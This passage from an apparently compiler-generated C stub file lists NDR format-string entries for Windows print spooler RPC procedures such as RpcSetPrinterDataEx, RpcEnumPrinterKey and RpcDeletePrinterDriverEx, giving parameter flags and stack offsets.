*/\n/* 4242 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4244 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 4246 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4248 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4250 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4252 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4254 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4256 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4258 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4260 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pValueName */\n\n/* 4262 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4264 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4266 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 4268 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4270 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4272 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum74NotUsedOnWire */\n\n/* 4274 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4276 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4280 */\tNdrFcShort( 0x4a ),\t/* 74 */\n/* 4282 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4284 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4286 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4288 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4290 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4292 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 4294 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4296 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4298 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4300 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4302 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum75NotUsedOnWire */\n\n/* 4304 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4306 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4310 */\tNdrFcShort( 0x4b ),\t/* 75 */\n/* 4312 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4314 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4316 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4318 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4320 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4322 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 4324 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4326 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4328 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4330 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4332 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum76NotUsedOnWire */\n\n/* 4334 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4336 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4340 */\tNdrFcShort( 0x4c ),\t/* 76 */\n/* 4342 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4344 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4346 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4348 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4350 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4352 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 4354 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4356 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4358 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4360 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4362 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcSetPrinterDataEx */\n\n/* 4364 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4366 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4370 */\tNdrFcShort( 0x4d ),\t/* 77 */\n/* 4372 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4374 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4376 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4378 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4380 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 4382 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4384 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 4386 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 4388 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4390 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4392 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4396 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4398 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4400 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pKeyName */\n\n/* 4402 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4404 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4406 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pValueName */\n\n/* 4408 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4410 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4412 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter Type */\n\n/* 4414 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4416 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4418 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 4420 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4422 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4424 */\tNdrFcShort( 0x19a ),\t/* Type Offset=410 */\n\n\t/* Parameter cbData */\n\n/* 4426 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4428 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4430 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4432 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4434 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetPrinterDataEx */\n\n/* 4438 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4440 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4444 */\tNdrFcShort( 0x4e ),\t/* 78 */\n/* 4446 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 4448 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4450 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4452 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4454 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4456 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4458 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 4460 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 4462 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4464 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4466 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4468 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4470 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4472 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4474 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pKeyName */\n\n/* 4476 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4478 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4480 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pValueName */\n\n/* 4482 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4484 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4486 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pType */\n\n/* 4488 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4490 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4492 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 4494 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 4496 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4498 */\tNdrFcShort( 0x19a ),\t/* Type Offset=410 */\n\n\t/* Parameter nSize */\n\n/* 4500 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4502 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4504 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 4506 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4508 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4510 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4512 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4514 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4516 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumPrinterDataEx */\n\n/* 4518 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4520 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4524 */\tNdrFcShort( 0x4f ),\t/* 79 */\n/* 4526 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4528 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4530 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4532 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4534 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4536 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4538 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 4540 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 4542 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4544 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4546 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4548 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4550 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4552 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4554 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pKeyName */\n\n/* 4556 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4558 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4560 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pEnumValues */\n\n/* 4562 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 4564 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4566 */\tNdrFcShort( 0x336 ),\t/* Type Offset=822 */\n\n\t/* Parameter cbEnumValues */\n\n/* 4568 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4570 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4572 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbEnumValues */\n\n/* 4574 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4576 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4578 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pnEnumValues */\n\n/* 4580 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4582 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4584 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4586 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4588 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4590 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumPrinterKey */\n\n/* 4592 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4594 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4598 */\tNdrFcShort( 0x50 ),\t/* 80 */\n/* 4600 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4602 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4604 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4606 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4608 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4610 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4612 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 4614 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 4616 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4618 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4620 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4622 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4624 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4626 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4628 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pKeyName */\n\n/* 4630 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4632 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4634 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pSubkey */\n\n/* 4636 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 4638 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4640 */\tNdrFcShort( 0x944 ),\t/* Type Offset=2372 */\n\n\t/* Parameter cbSubkey */\n\n/* 4642 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4644 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4646 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbSubkey */\n\n/* 4648 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4650 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4652 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4654 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4656 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4658 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePrinterDataEx */\n\n/* 4660 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4662 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4666 */\tNdrFcShort( 0x51 ),\t/* 81 */\n/* 4668 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4670 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4672 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4674 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4676 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4678 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4680 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 4682 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4684 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4686 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4688 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4690 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4692 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4694 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4696 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pKeyName */\n\n/* 4698 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4700 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4702 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pValueName */\n\n/* 4704 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4706 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4708 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 4710 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4712 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4714 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePrinterKey */\n\n/* 4716 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4718 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4722 */\tNdrFcShort( 0x52 ),\t/* 82 */\n/* 4724 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4726 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4728 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4730 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4732 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4734 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4736 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 4738 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4740 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4742 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4744 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4746 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4748 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4750 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4752 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pKeyName */\n\n/* 4754 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4756 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4758 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 4760 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4762 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4764 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum83NotUsedOnWire */\n\n/* 4766 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4768 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4772 */\tNdrFcShort( 0x53 ),\t/* 83 */\n/* 4774 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4776 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4778 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4780 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4782 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4784 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 4786 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4788 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4790 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4792 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4794 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcDeletePrinterDriverEx */\n\n/* 4796 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4798 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4802 */\tNdrFcShort( 0x54 ),\t/* 84 */\n/* 4804 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4806 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 4808 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4810 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4812 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 4814 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4816 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 4818 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4820 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4822 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4824 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4826 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 4828 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4830 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4832 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 4834 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4836 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4838 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pDriverName */\n\n/* 4840 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4842 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4844 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter dwDeleteFlag */\n\n/* 4846 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4848 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4850 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter dwVersionNum */\n\n/* 4852 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4854 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4856 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4858 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4860 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4862 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddPerMachineConnection */\n\n/* 4864 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4866 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4870 */\tNdrFcShort( 0x55 ),\t/* 85 */\n/* 4872 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4874 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 4876 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4878 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4880 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4882 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4884 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 4886 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4888 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4890 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4892 